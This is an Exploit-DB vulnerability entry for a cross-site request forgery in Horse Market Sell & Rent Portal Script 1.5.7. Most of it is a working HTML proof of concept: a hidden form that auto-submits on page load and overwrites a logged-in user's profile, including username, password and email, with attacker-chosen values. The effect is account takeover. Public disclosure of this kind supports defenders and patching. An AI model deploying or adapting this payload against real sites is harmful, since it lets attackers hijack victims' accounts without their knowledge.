Horse Market Sell & Rent Portal Script 1.5.7 - Cross-Site Request Forgery

EDB-ID: 44628
Author: L0RD
Published: 2018-05-16
CVE: N/A
Type: Webapps
Platform: Linux
Vulnerable App: N/A 

 # Date: 2018-05-15 
 # Exploit Author: L0RD 
 # Vendor Homepage: https://codecanyon.net/item/horse-market-sell-rent-portal/14174352?s_rank=1725 
 # CVE: N/A 
 # Version: 1.5.7 
 # Tested on: Kali linux 
  
 # Details: 
 # Horse Market Sell & Rent Portal Script has CSRF vulnerability which attacker can change user information. 
  
 # Exploit : 
 <html> 
 <head> 
 <title>CSRF POC</title> 
 </head> 
   <body> 
     <form action="http://geniuscript.com/horse-script/index.php/frontend/myprofile/en" method="POST"> 
       <input type="hidden" name="name&#95;surname" value="D3C0DE" /> 
       <input type="hidden" name="username" value="L0RD" /> 
       <input type="hidden" name="password" value="anything" /> 
       <input type="hidden" name="password&#95;confirm" value="anything" /> 
       <input type="hidden" name="address" value="Cyro&#32;trento&#32;23" /> 
       <input type="hidden" name="description" value="My&#32;description&#32;2" /> 
       <input type="hidden" name="phone" value="&#43;10101010" /> 
       <input type="hidden" name="mail" value="lord&#64;gmail&#46;com" /> 
     </form> 
   <script> 
       document.forms[0].submit(); 
   </script> 
 </body> 
 </html>

Source: www.exploit-db.com
Related Posts